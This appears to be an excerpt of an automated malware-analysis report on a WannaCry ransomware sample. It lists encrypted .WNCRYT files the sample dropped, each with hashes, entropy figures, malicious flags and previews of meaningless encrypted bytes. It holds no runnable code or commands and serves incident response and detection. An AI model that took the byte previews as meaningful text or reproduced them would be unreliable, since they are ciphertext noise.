                                                                                                                        SSDEEP:768:B9mIPxbeSKTyN7xH0DcCxK4AkrGxyqsOfJx+qO+Bws2NxA0VaBmXl0IKnqPU62gT:BrxbezTMUQcBrIf6qOfs0A0V7aIKnuT
                                                                                                                        MD5:20F359DA6D37F914E916ECFA20A2571A
                                                                                                                        SHA1:708A7B17A50C349E43128E936B1B6D7088EED831
                                                                                                                        SHA-256:910EBDEDD55D4369F74297A72652EDB2133DD92349F513EEB02EFACD57BE3F27
                                                                                                                        SHA-512:92DFB3C55052E849D128B75FFC778EF8E13E32310D72ACDFDFD0190A99688D926D48545299DDD04B6C5C5C452134D0012FF40A1150F92940DF6C74879451EFF1
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......?9...1)t..fx.. ...g.X..+!..........B...X\..?*..*.d`.m.:.[<..7.$..<.)........3S.-./sN*.,~1{..w....}...w.R.Gg.9L...{{.a....TV..}..b...#...8../.E\...YO.3...1.l......q.B..s...Vxb..md.&..$.e..uO..%d.<...w.Y.4.."...C.. ..rE.).d.xm..U....N-.K.'.P....................O.f.q@p....b..v...=0..*......>K..Y..$.*..N.E(\.....t.sm[.\............=y...GZ.e...:.?#.eSv.lI.n.vX(....l...L...R ..1.7...q....v...x:.|......k9.....]YsZ5..#{...Q.#.$A3%..{,...6..YB..?..&Q2.%b..*.O..u^'-.S..f.LCBH..|M.:R.f.?M.b......&.......Os.R.g7.-sW..9..6...z|...!]...H.............".!.`..C..b..(........=..x..|..U...5q\..<.58....A.....<Q+.....,...jd.Wh:......Q"Y.>JF....NL8(j_.D.N[..F{.....0..v...Av.9s.H..1kg..a&....y.2...>v@......j,..].8.....f..&-..8N...8V...DmH......o...........e.eK.k.3............6I..P).....'....u....j.<.s.T8;...%..b..O...R.:.1.Z. .y[.L8...].knI.._..&?|.......#...gl.`|.[...y{.'......t.7.....D........i.W.VL+..qy.E...3.Y......h..6.I...O..b...?1.{7.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\GW3DpE2qmyibnbFrEIzpiD0iGLk.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):776
                                                                                                                        Entropy (8bit):7.76007242536935
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkEPmCMDG4BUzENZhTbJByY8cQ21HGvCWcYrQxGwBL6djjCwOanDiaXQF4ZAxY5v:bk7BrNZVbJ481m/QG+mP57yGCC1
                                                                                                                        MD5:DBEB10220EB6A28A8D2186EC503FD4DE
                                                                                                                        SHA1:EC27D3B3A8466DE855125D0D3CA3C2BE4A303090
                                                                                                                        SHA-256:EC7E8794803265D98A70F1370FD525429032F1A397E7DC59C7C743F176BF8812
                                                                                                                        SHA-512:BE8B89C92E0AED36E5B70207CA281FE7120F6A6717E7AA91A97A65D7C222AE9E88DFE4F13654EA827B35A79224E88FA70441D087F9199C71935721EE746F51EA
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....._.d.p....*.M.S.......7z...\.^av.j......E=&..0.c.X$.*VH,.:..p...o.{G0.$y.............. I.7.."KvC].L.Yz.Ra3..)v".]..ce.st/..A..T^.....c1m..XZ2....V.....f^.....K]P<.....h..K.%$.9.I+.........j......\..f.2..x.@..bMaE.....p|.....\....D.y.w!.Q....{.............4.....W|..X..d..E/..Y.|..n...P".....tYp.., .c.J:.Y.QF...Z..._.e...AT@4.D$.]3..Z#?..9.Uw.......0.aXc3...VZ.-9t......Y...[..:..i...s.#>.....=x.$)x...A..5.tTF\z%.lC.[Z[wE3...M_.RI........zp!......]93..|.P...V.'f.].B..f.7.......K}U.n....9%.......okx|...? OJ.... .P_R..2.U.$k.n.nsu..&.=.:.3j_.,NH.>?..O...?{.V`..^.9D..1.k.`7Q.]p..-_...S...{.DX.....>)......I...{....$.,."W.z.....;n4..N2.{m,.j.DM.....%.....+...e.u...8@(-H.....h.........3.j.Y.!.9.b..,...(EB4}.;.&e.Z.&3qm|.x.....k.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\HPspIzX9e9QU48C4vkAjSDd2Epw.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):301896
                                                                                                                        Entropy (8bit):7.9993697495003895
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:T5/QV7xtOx5zMb3mHUvQlhqqtspTVJJQRtLfV7w58LscWKgIW6qZM9Thf1A:T5/QVSCb3m0vGhqqtspTpwtzVOAstKYZ
                                                                                                                        MD5:861C70C318E0598E67732A35AB9C241B
                                                                                                                        SHA1:DB3C62A8AEB8BEB698BB3E76473C99B4F8D54DE3
                                                                                                                        SHA-256:37222AD100B481DFDB369CD1DA9580B57E5E1EEDC87087D02ECF53E43C80A710
                                                                                                                        SHA-512:EC449103346EFADFC8E8BD42BC0649545754849336CE24CA67BA27A32DC34AE167DAE80E5F248CE80F72A73F347C230344BB24888302DDE14FA3591FFCD4FB01
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....|uq..?.U8..t>}.p>.CU7...K..............!..\b..8.6.......5%#.S.Xy.9..N.K8.(.5.k.r.E..B..A..Ea..1Z..w.:k.Sw[\.a..NB.....s..}.....+../.....:..DC...p..k..q^...j(.....J...nU....aS.i..;R..X..k....\m...Ig..f...a`.V..~N&|Ie.[ay.d...<.6...#n.tG..h.4.M..T....&........RW.F09.s.6.[...~3K....7..]...G......=..@....#Jw..(..fFO.g$...GO..8..b.L.".3.yI..DU..?.qcB...W.t.X.'.9.a.....*...3.e.w........z.(..mB.j.y..<...p..D..1..t<A"Lk'.}`...r..1`1gE.....L.U...Ec.....Y:+.\^i+7.h.`.a.j.g6..A...Mc!..T2.A.{ip..`mjrTc:P@j....Bk....uf...........,_O..V.T....;......[....<qU...h..L?3..z$.x.:.Xg....'...O..yOjQ..f..D...\.vX...(.K...lL.........D..^.r.A.T6..`.^....J...J.4[v....`...H.......$.L._...s`DI*t.......&.........%..U...$..........w.!.b04.,`.....>O.O,.as..U.....f....!.BybV...#..".7...=.8:NQx..E.4.R.gX........W.F.......6.)...9.-c....O.BF....GN..;..%f!,...a.E....XK".t.MK...........[H...L(-.2S...B....g.v...6.FL..`x.(.0....u.lx..h...b(r..*D..r..n.DS..)xG.`..2..!K.9..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\JBEweQ7VEIQ7Kw_-WmojxuJGAwk.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):132360
                                                                                                                        Entropy (8bit):7.998612919674393
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:lNwvbkKX+9BPAuaZ2Wx+6A6sVv+9EhqRc4wWLb3oQRR8x9:DwvbmTAuapY6A6SWReQz8x9
                                                                                                                        MD5:E2AE116AF6EB755A47AB0CAE3A6E26AC
                                                                                                                        SHA1:34177E124DC665DE9A3B175F878C75A7817EB435
                                                                                                                        SHA-256:301FFDA683D3D6539CB61E60276CC88BFC2BE56571D99204758F895C35CA5447
                                                                                                                        SHA-512:8D4921D25511F3790E76AA41C285F37290927140991261399B20E3E495CCE4E24DFD32DD6D363BA8A490CF4A428B4DC47DC59914B12B5A42C9ABB1B3D274B481
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....;..zCI.g..B .T.....M.).:.6,.........bT.4w.L.'.,.....P...;e..Q.#..m...<.C...K..D.W!....c...81..J 3np..5.;eV.F..Bg. .b_m.....'iA....)....E.r]..d3.(.>..&.. O..N.%....C.)m-..=....C..._Xu.!Q^.D..a.b?.f..;J...S=..^.=.}I}...m5....q....V05.oH?F*..>...............O..=....G)w9..R..Y?..L..[..]lc.:..^...4....Z]..@#F..}A..i %d3.J.e.P....n4.f...#.l.I.M...=..._).5...,.;O!,...W.;.....~.y3.+].4.\P..p._..^r...,...dt.......:T.&.Mb.P.A.#.............0.8z|...5O{.}...-..n...8...m.K.....Q*.2.......<...T..\q..K....r....v...Q.8..5g>.!....8.S4M....+"a...b.Y......!..T..T....O..FI..2MoH....C..$B.w)....7m^....6..sP...o.%u.z......./HW..G........E.k..(HUC..L..j..eF..1....6t/B.N.o3F+.h3.)b..\.L..J.7.\Z...e%.....o.....0...G.O.<..d}....p...].r...SD.....*.y....:.e.I..c...J..vX.).....Zj...K4=.f{..<.V.C.Z..g.................$\.I..lh].....q....../...}.bR}_...I.;...s-..s.~.2.+.Q.g..mn..s...0..:.+...dd....:G...wR........M>.\oQ.A.......=Q.....;..Z..o..N..w..>

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\KnWb7AnFozuN2Z_H_-q2P5lMlTk.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):59368
                                                                                                                        Entropy (8bit):7.996554756783083
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:GCKv3fNwz8iiTcdrjnNR8kRpgtj25cjTdeJny:Cv3fDrodPEM5cHany
                                                                                                                        MD5:EDBE486BD771BEE66CF0F25C5F96AA93
                                                                                                                        SHA1:AB4FC2ACA7D2AAB5C6A3A675C6D3FBA045D9FFA4
                                                                                                                        SHA-256:B623515EE33D54C01E0D8487FD8FAD2DE0EBF13D13D33D2F6B061ADE8AD3CCBE
                                                                                                                        SHA-512:1158ADC69FB3825843F45D44BFA045BA1D49DC476477A0CFE2B2EB6E45228E29EC20224C2156A8DB9497872F7A6E94C8771AC26F69CF8A315C4329097560DC24
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....s..<...m..H...".,..-.B.!X.&.4.fm.=.a.U.+`..b..6...sI.Cl.R..4..;..7~&..z(..:..yA.5.<.;.......d.t..l.C)Q...4.S..J.E...g..yP........flg|.Slm..4.I.[|.gmf.1.....oMY....|... .z.7..\.....j.$u..7e.....k.>4.%.M..2^...&i,osZ.;E.C...^'G..6......O..*............Q...KJ.-.2.s..t..h...>i..4.od.....x.7.'.2..l.@i.d...hk>Svm.M....1.De.Ruo.rTw...t.I)E...i...i.......i$..L..v%..:(try....U...ki#.t.F].8Ps...W..O..{d...b=!..0*.V,,..!].....0*.....n.3.3.S.. .....".Y..7.C....w.....|dNo.1.A...uY./.UV1 I.......N?...:..@....x..L.~..s.?yW.;..+.+....,+7..K<....y.....iR.od...<$.=...-..E'..(nbI....HF..tV*E.F.Z.Y...>5.<...~.. ...8......@..Y-...V...b...L....71,..R.......t..U.b}.p....F...#*z..!.4.St..J@e.N.....95p42..".=8..W..N{8ch.h....q.....F.1...$.....YK2~].n..E....r..z......H...LC&..g7.MMa.n..'...,.._%.,Q(.6X<..j.&\.i.....c..%B...J..#.Q.......t@...f8;..|..}k.|zF...b<$:V...s....~../F 9..._........Z...<.F...|..I.|........OP..`..c.....R.\.....@..1.....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\ODQJiXAfzI_tRXKLb6nW4N2Wgkc.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):38024
                                                                                                                        Entropy (8bit):7.995372567158981
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:X8lg/woIeJtvOHCWF5/qWRh3CQCdW0HeLHGDEMDAMcIPsrn:Mi/UusPIiI5E0UgA3IUrn
                                                                                                                        MD5:167B57AA49CF1B6B5E377D486EA87887
                                                                                                                        SHA1:97549EE9DB10EC2A39CFB1C3DDB095B598AF79C0
                                                                                                                        SHA-256:C81619DFEDA39C31C92C445261C3870E646D46DDBE43D9274E242CA0B2BD2EA0
                                                                                                                        SHA-512:D3397C241660609FBCBAA0401829E0027897391D0E0A5EB104D10C43FF880B0AE3FBF6A3F7F3FE21375EF8BEF905A50D8AEA20925510877A95B7F561D4065FB7
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....f..#.u.].....[......v{x...Y.....x[..A..F..?..:.....6.w...4.t...d....K..D...4.@.....?...@^/..W.%....IO~..q...[.....9:..\5w]_..&HoH.....'X.ud..}.C.].H6w....|..x......2.d`....3/M.S..b'.Q.m...}...A..3^..@.*...&.k.S.AUj..=>.........5.r".+.$Lc.....i...........N*g#ns89......w.....dBHq.4#.d.kNS.C.|.5|I..@S....{.....e..K...w.bO``..M.n./....C..,.1..l.......z....bO.X..^m&...mM%8kl4.D7.Xzd.._V...6HP.j.>....D...U..a..n~. ...s...%X.....'r.Oql...~t...@....,....).S$K...M6..:-..8,...t..e..U z.{8E..x.l... gd.A..9.......-#..=...R.:_.E.L...8..+Bx.4...W._.."..t}!0...d$.u.i(k....Np6.W"6....cWD.(ADi_....uK.d.-.r.Z.g.d..cc.....$-....,....GHx.y.+.|..e..$li: ..J../r.....yb...Z..|%..s.9."=.2..ZQA.......y.C.)........<....U.Z..?.......>..$`...k...=.......7..yi...8.fo.......9.........^l:.F..R..#O9+M.c~...'J.2Fna.....qk..#.>D$.+k.H..S..r..+....9.W:.6.UR.....Fo.~`....._..Jp..!..I.NM..l...@cMg..%{?...C._\....:...l.V*...Zc?.g7@.`...,.a..'iKf..%E.i.#....\.N....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\OponOoR_xVMUgjhuqYDZ3mHxjqQ.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):128840
                                                                                                                        Entropy (8bit):7.998573213677492
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:pJb6oBXsA90wFoOkwzMnEECbTQz58asvCoFH:zb6otsA90BSxECvaBs5
                                                                                                                        MD5:11E86041D7D34F14EED513B62E704D3B
                                                                                                                        SHA1:FBA11B328766AF187924BA89A78C724D715225BB
                                                                                                                        SHA-256:5FA8E9F4E62614B5F1972258C566869054564948097F2D619E6A3C79D0B61708
                                                                                                                        SHA-512:68D5A2DC15FB8BA399D95A0116FA21EDC372FC41028B205A036C8CB3403001689DA666E4DDB872326B8ED79A3B7A6BF90F426EDBE228D86DDA64FB33A9D0FF09
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....d...'.ycM...f^.X?.......U&.8.V.....o.....*..8|...g.v..2e..(N.5.@J..h..\..p..i....l.....d.Z...oR.o9ZV.&rcZ.6pZ.G'^xd.KrU.\.N..]>D........[........".....9.A.qsOQF^$X.y`..9.i......0...0.i.C..w.Y. ,I|.34R.O..?s>..&C.gw.....;3.. ..l.a.S|..m.G.yP.....,.........s.2..?.$X.3..p.\...f.....[p{.db].........1.>,b.K..F...........i..5Y".Z.|..".5G..N..I.I.x.8W.g9.E.8k;o..?...d.f_.<...qK9c?9.........m1H................W...........].......R........`...4.........2..BA../..~.e...^#.+.1..3v...W."........h!.i?.\o..".....D^.\..O~yt.q*@.......6..7Z.3."!.}....<...4..d.?......2Q..'.V..qI...g.=~..-....>..:[....3..*p5@.....F...<..+..............U...q@..#bSZZ..f(.D.$.+P..6!./..F..r......B.>..\..........uH....c]Q...]..K .....y6N.S1.....N....`..p.a...T....z..\.(.x....$}.Hh.m.$.v..."v...w.......Q...G...eD.....>.....GJZ...........'......0|H.$;.^j..p.Y36..D..,...f...A.~.J..O.@.....B4.Tb.....{y.....&...{...pU....~.0....J...z...Dmy..jOpf...F-...c..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\VrAE8CZ_PJkn0hgh2rwA1uThjyE.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):734520
                                                                                                                        Entropy (8bit):7.999777529603587
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:HIE2iAadgS0KezXzJ4EU9nJ04u54jGBhvmTqScEHII9cvokV4yPkY485Wr:HQi3gS0Kej+vxOB5EG/muEHII90oy4yq
                                                                                                                        MD5:26211A994EACFEFED92BDE5558EF20D9
                                                                                                                        SHA1:F27E9F1BF84A648EF13847039AD257135FC1DEE4
                                                                                                                        SHA-256:07ED18BC5BF920E47986B7F1186657404A12406C63A79FA024B203DE7D68891C
                                                                                                                        SHA-512:5EA77391AD873602AE2986F301DA96F89B256F77C812B87BC49B9FFC5B8F8C82AB5867F9C2BBF6D4717E03BC933DB2E285BC6E5E773325C865D06810B696A105
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....T..8. .....E....N....6u.[.w.$.N.../......Vn.yW....'..?..R.W.....7.kn'>...`6y.n$z#ly.j..h.F$jK.F.-.........Y^..-!.....7..8j.C...mx..x.n..._+J.o...<F.2.8.W..@..,+.8..hN)C...u.X#.................JDTV..q.E..%.#Q..C`.8...e.<.s<....f&S..Q..5.;..j...#e.....4..............A.S.n.j.t.2@0.v3..#.z^:R.tm.G.....dR... .d.*.5[J...B...yS....Mzuh.".O.!...w./....8E.MZU.de.4..k....tY........;Bq.9.\....W...c..u..Iim....'.0i.".....*......T........l.{WtK..f......b..GSy}:.{.Y......$j.U.....x...Fd.h......s..B...H.-5.(m.g.'..&.xP&l..1.9=N........MS...Pf.g'.4..<..Ac..&..<...M^.`y...4<.$.Q..B......m...d>.'FC...:.B...*_...7...%fVLy..t.8..x.c......e.x.-$.#!f..]1.*.....V.&....s.E*.~.3.......X.ntN....O.....q.....2{.}(|>M..leUvO.v.1=.(..<..n.....4.....yg.@......k.C.^F.zI.P.E...]..W.,j.B..T.W......#...Y......-d.u.._...H.....wx9`......x.Z.T~..e...e.-...;....../...S..cg..._....J....x..YA.....T..I...o?. K.y.&A..PV.M......%U..?~..<.e.d...a.%....../E.".x

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\WMcG8NocIziwNYlfUEia3QDjwaM.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):168584
                                                                                                                        Entropy (8bit):7.998806813691914
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:ODtAzrMZMD/uXg0O/pFU49Jye0HsJ5eqtHFX3RwZ4bK0mPofreZe+2:Ytq4ZQuw0MpFH9JyBXq73RwZ4bKnofrD
                                                                                                                        MD5:2F41714DAAA1C61D97AE5E1B5F9275BA
                                                                                                                        SHA1:B9303E32026E9936D6231A0D1A3F16815706E594
                                                                                                                        SHA-256:FC0461EE29E49178FE6413F01130894B99CABC3EE903BF087CD1D27035B2097E
                                                                                                                        SHA-512:218EAB1C6CFA2AF69F0A60374D810427A7DC1ABEB7B9842EFC79FB1519D5E495C445EEE5CCF035CCAA8E87E66FC0B03A71B497546C4B5C3F962EE6A8C3E1AD09
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....F^...g.:i..3l.U_@p.q^.U.Z6,...QR.7.<...........]L.A'..~0.......T.'O.J.V..J...FOtUE..D5O.m..[%Q..r..x......8....vt.....U....=.41.o..N9.C..g...a......h.~..+.!....gz...A.9j#...d_...t......O..r.[C.......4..-S..w.T..R.-R.S.r..c..QH.y.y.8.j.*c_bO....)U....i...........ks.c.".WE|E.. ?.:.../5.g............)..#..3+xQ.&(Z.dG$.s.d.....\=..7.~cX>\$..(.2.F"{Q...b.....3W\`..1R..C...VA".3../.a....J.....Vi....9i.<..+..7.v.....*=F....l]j!.....TOl.\..3.[..'..j.u ..$57....].!.&y..f..T. .$C.OK.y.cUxn8..M..2....b[x.....9DX...zS...1g..MKg."P..Q.....l.V3....s....hq../..e......e.Qj....3]...._.......R...d....#...h..."...=..<ZJVx.?..i...%....}-.I..LlV..[.:...|.y .G.......D9y.......K.5"7.Z.....j...rw.....l.(.,S.b.A~.MQ. _l..smy.{..p....f0..K.s....`..Z./..c.f.m..*Ny..9@....T.P}...@..e.u4.......E......a.]N%%..<.J=X.i......;.Yu.6..f..ve.../K..7B....:...!.._.T.....Z.i...-Q.. ......M.'...r.....-j........d.=.x_.......RL...M......M.9.._..1..........2..-4...S.Z].o..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\XKZ41694P7XbcLcfFJwPjCvgy20.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):45736
                                                                                                                        Entropy (8bit):7.995908655316749
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:q/Mx3bUxrziJXF7F5GJn5MyBPs5rlCVlcYnm92Xcq7gD/WkP8RuKuiBvoawbpxcm:DUVmJT5GZr8ryOwD97gDekU0kBvoawb7
                                                                                                                        MD5:5819D3829B2F60D7B585360CAFC8AE22
                                                                                                                        SHA1:6044AB893410307B36405454FDED6C42B9A17328
                                                                                                                        SHA-256:C41B33D55C2D3D833E7F38D843A0DFED29A034A0882F71D11F33EE95C31DD196
                                                                                                                        SHA-512:E22F70D5F3E5F502154B05169EA4E131B7C391566F208552C3B7D3D285177CEC368F263DAB0CE685150E4BB893F315CF680F1A3BB2EA312C491CE906FC784413
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......bg..y.+Vq.hej...$.^...=..De......(..c.*6....h......N.....>.K.........Mp.DT.Q+.W.s.....`....b..)..n..x.x.W......L...o0N.C......W...}Q........6..M..E'!*o.G[Jh..!.IV.[8..Q.v.i+k}..... .x.\+..@$......Q..~.g.1T.-......]8.H0.Y..!>t....C...H.......}!................P.{{.9....EP...=.6..c..X.l.^....p^..n.tU.....Y.......,*..v...........r....Ko...P.C.~Q..M.z..g...F...N....x>..*..-..k.`[.#..8...4..B[..q.w=..L..X).T..d...giZa...ZE.....~../5@w.... 2...M~~O5.[.0....nl6....8....:*.9s.r..s........&#...G..5p..._...]....C.. ?.Z[Av...@z...4.=..y. .=.>.....61`...Xgq.S.U.gL.J.}H....1VUK.#._....b.).A.....> f.N..t..h.3..R..K......Rv..L.....0j..'Nu....b...`.g..;7.v'..p..=86Np.|...b1o..N.....zw..?Q.......H.\.n.T(^.{.^.4.kk..sa0.....-...u.)..[...I.. '..A..+b..8..1.....3/<.....g)...*CP...6.j.....H....l.......*.~<.r...LYd...u.P.GW@.`I>.y.2"...{...vt]A..2...y..'.`.d...]..rF..@%...E.t[....s.....9...}.T....Z...+j..6D...CP...k.V^m?.....V..o.x.........

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):121496
                                                                                                                        Entropy (8bit):7.9984822115133305
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:gWpAYEs5O5mEL4Fed4DEnUEWsxsqkkNAo0i/:LpAYPBEUMUEnbs6AC
                                                                                                                        MD5:6C53135BFA1CBE7C1AE28FA7945078C2
                                                                                                                        SHA1:A8A31BEEB1CB0C5A30012C0A23CA62A7D330CE7E
                                                                                                                        SHA-256:F3A491053120D344AEDBBB1FC99C2273567770CE0792EAAFEB7B842D88695B7A
                                                                                                                        SHA-512:8848A08247AD6D51A11DD38A91F4DF7F1A1895ACE94433F335B94BE38C15230246DCF437B6B9F157F28EA4DED331C46B87E7EC1D40B853263037AC46CB5C9B8B
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......0|.....a.p....(.~.b.&.Mp4p... .YR.ZF.._1........eX..*...t.M........./...cx.-.5.]..-.L.t{...n.....K.Uj.t.Y...#.d. .rN..{.*.....!..%.[...".[.B........&.`f..~.......B0.. 0i...GM.i.. F...X.}...bh.E.........B..Ugu...OW.xo.?.#....9..G..V.E.v_z4....~............/....y...%.....@.. .`......?@.n9.......8.n.Fm~...S>*......>m....;,...-..s..TS...-....p....&...+...(0^..l....\t$..b..G..".....Kdx....1{F!\4.+..j...).......*......\W..-.i.~U.{-....j..D^.L.....B5...s>..D(..c._.J...?.v'.O...B.@........P&...E=.!K.D^.i.lJwD.%M.hB.e.c....gh.p....:..G.2.iw;..s.`y.jU2.;..dz... .j"....w!..(|.u.]...iX.+:.J`z!M..HR2.S......K..~Y..}f.b..._...#D..;.To..%....X!@3..........."....\....`_.b.....2E..}.....u.FPGRqW.J(h..>.a.s/I(D.+.A.I.F..&...!t....!.5[...?8...+...6y.y.R.U..g.|....*.nc....R3.P..4....St.?i.#..S.X+x..5.Q..G..}!}.-.6...j.....~H.P..L#..>....kY.<.w.%.'.3...2*..]...*v....T.h.bz#..e....{:T..>...<Uz.>.+......>..5[...........8.].v....p..k0

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\h0_ymK9wPEJMicnVALPw5taHcNA.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2184
                                                                                                                        Entropy (8bit):7.900466624482072
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkKqYnHHZnLShpSXU/PztSBiJJH036J7dhZNv6dAlSFSHXKBUbAnIs:ounH5LShoUPzA7361NGibW
                                                                                                                        MD5:E14153D7D36863C43841E4EF2A24693F
                                                                                                                        SHA1:AB9FF48778E9E6CF84324EF159216A12A17F8311
                                                                                                                        SHA-256:90DA9353598D90D198CE46E6F90673B8EBE822E1101DE8362071691A79B1BDEA
                                                                                                                        SHA-512:D797D2A114CDCFE2D752949AE0B1146259396C39B012DB798F5C5651791E02086D0C82FEEFC32F38755B7E3917E6D033D5F668215193B53DA141E0BC7FABF4F3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....J...2gM...JW....h.hX]k.3.~.{.-[OAO.vYdCyd....Z!i./|..........K...o..gk.h...t7.n.g.l.w.b.[N6.q._..S...b$.=m-5P.J.4.^.q_6..`F.;...X...`c6..`'..;.Q....=)......u^....1."........V...b..QkM'<gmj>{....d9..<?..S?......-."m....&a.C!tK;..0.h=...P...~.'..8.....b........q\.....>.($].....e...+e......SR.C.~.=.Jf...e*.W.#.Ln.....U.b........6k.../._..........t.\.?.r-.b.....e."..A..s$8...;./5..*...;...}..g..fN...j%.....E&e...(..MMr.A.&7gE....vd...Q.f.B.%.o...H..6:.J.R..!y.S....F..R...x./.|.!..R..Cu-k.U..).....o.a.......8f.l.w)...i0.tA..g?,.Bj+L..t.u.I..8.h.:.7.r.1.....y(.UZp...u0(..#>Rk.7<....S....^.@b.{..!..Q....k.gZ...!?|..a^.>D#..........X.....5..<L.....S..'.o.7.....g.M>a]a.p=.8~3...U..9M=...M%....(.Uc9...>e..)..L.n......:SS..8K...].s[tP..Vkt.a.|G.k.\dT.....`...@..l.....@K.v%.....].9z.4.I.k.@7]w...U...}.o.5>b..h+Bd.........k......%.h'~........K.0.j!]..z.q=;."._4..>`...~......&..yCW+...{".d..m..4.aqf.@....n...m.o..P..f@..).."i......g.(...<

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\h2m6AVCpDtS8Ff3ZxuDGx1A2-O8.br[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):16056
                                                                                                                        Entropy (8bit):7.989143501079085
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:3Kky/WWxjMjruzgbuagS+dVpg7S8RmW40Xah1:3dy/Wnr2Kgf7pESomj8aX
                                                                                                                        MD5:7BAC6EE59A4ED2CA3923F0AFE4CE83A1
                                                                                                                        SHA1:5882B351C2642DEB67896182920A9673A6FF0723
                                                                                                                        SHA-256:17F2D594A12442450A93CCB573F04F263BDABAD6BD5DEC8239E9FEF4823C81D8
                                                                                                                        SHA-512:2774BD7F81639ABC75539F338AE0EC810BB2304F5D35AD80701F7B8411157EE92509146FE0287D32B6456D5F3C879D8BDF028F21B90296EAFF393C8B2659E848
                                                                                                                        Malicious:false
